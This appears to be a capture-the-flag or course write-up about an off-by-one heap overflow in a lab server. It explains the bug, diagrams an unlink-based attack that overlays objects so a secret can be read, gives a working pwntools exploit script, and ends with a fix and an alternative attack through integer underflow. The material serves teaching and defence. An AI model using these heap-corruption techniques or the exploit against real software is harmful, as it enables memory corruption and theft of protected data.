Analysis of the bug =================== The `Obj_write()` function tests for the availability of `l` characters, but then uses `strcpy()` which will write `l` characters plus the string terminator. Therefore, the bug can be exploited to zero-out the byte immediately after the end of the allocated chunk. Attack plan =========== One idea is reuse Solar Designer's unlink attack. We cannot use it for the original purpose, since NX is active, but we can use it to overwrite an entry of `objects` that is pointing to an Echo object (and therefore has read permissions) with a pointer to a Secret object, and then read the Secret object. Luckily the second (unwanted) write of the unlink attack will just overwrite part of the ``- SECRET DATA -'' header. The idea is to exploit the bug to overlay an Echo object and a Secret object. Then, we can run the Secret object to load the secret in memory, and then run the overlayed Echo object to reveal the secret. Attack implementation ===================== We want to create the following setup: HEAP +-----------------+-----------------+ objects | | | +--------------+ +-----------------+-----------------+ 0 | o-------+-------->| offset | 0xf1 | // fake header +--------------+ +-----------------+-----------------+ | perms (R|W) | | &objects[0]-3*8 | X | // fake fd and bk +--------------+ +-----------------+-----------------+ 1 | o-------+------+ | A A A A A A A A | A A A A A A A A | +--------------+ | +-----------------+-----------------+ | perms (R|W) | | ~ ~ ~ +--------------+ | +-----------------+-----------------+ 2 | o-------+---+ | | prev size: 0xf0 | 0x100 | // fake prev size and PREV_INUSE=0 +--------------+ | | +-----------------+-----------------+ | perms (NONE) | | +->| offset | +--------------+ | ~ ~ ~ | +-----------------+-----------------+ | | | 0x101 | | +-----------------+-----------------+ X +---->| offset | "- SECRET" | +-----------------------------------+ | "DATA -" | | ... I.e., we allocate two Echo objects and one Secret object. We use the first Echo object (index 0) to contain the fake chunk and let it overflow into the second Echo object (index 1), thus resetting its PREV_INUSE flag. We let the fake `fd` point to the index 0 entry (remember that we need to subtract 3*8, since the unlink() macro will add 3*8 to this pointer before dereferencing it) and the fake `bk` point to the Secret object. Now, by deleting object 1, the free() function will write the address of the Secret object over objects[0] (and also write &objects[0]-3*8 over part of the "- SECRET DATA -" string). Reading object 0 will reveal the secret. Finer points: - the binary is not PIE, so the address of `objects` can be obtained from a local copy; - the address X is printed by the server itself (this, of course, is a simplification); - we don't control the complete contents of objects[0], since the `offset` field is updated by the server and we can only write _after_ it; we work around this by building our fake chunk after the `offset` field: we just need to provide a smaller fake prev size (0xf0 instead of 0x100); - `strcpy()` stops at null bytes, and we have to inject many of them; however, the server appends the strings of an object by separating them with null bytes; by sending empty strings we can add as many null bytes as we want. Here is a possibile exploit: ```python import sys from pwn import * exe = context.binary = ELF('server') io = remote('localhost', sys.argv[1]) objsz = 0xf0 io.readline() # skip header io.sendline(b"ne"); # object 0 io.readline() # skip reply io.sendline(b"ne"); # object 1 io.readline() # skip reply io.sendline(b"ns"); # object 2 # extract X from reply X = int(io.readline().decode().split("\t")[1], 0) # send as many sh= as needed to account for null bytes def sendpayload(p): for a in p.split(b"\0"): io.sendline(b"s0=" + a) # fake header payload = p64(objsz | 1) # actually unneeded # fake fd and bk payload += p64(exe.symbols.objects - 3*8) + p64(X) # padding until fake prev size payload += b"A" * (objsz - len(payload) - 8) # fake size payload += p64(objsz) sendpayload(payload) io.sendline(b"d1") io.sendline(b"g0") # skip garbled header io.read(16) # get the secret log.info(io.read(objsz).decode()) ``` Suggested fix ============= The check in `Obj_write` should be changed from ``` if (l > ....) ``` to ``` if (l >= ...) ``` Alternative solution ==================== (Thanks to E. Geraci for finding this.) The bug can be exploited also in another, easier way: - we exploit the bug a first time to set the offset of an echo object to one-plus the maximum (ARGSZ); - then we write to the same object _again_. During the second write, the `ARGSZ - obj->offset` expression will underflow to -1, but since the variables are unsigned this will be interpreted as 2^64-1. Therefore, any `l` will pass the check, granting us an arbitrary overflow on the heap. This can be exploited, e.g., to overwrite the offset field of another echo object so that it overlaps a secret object.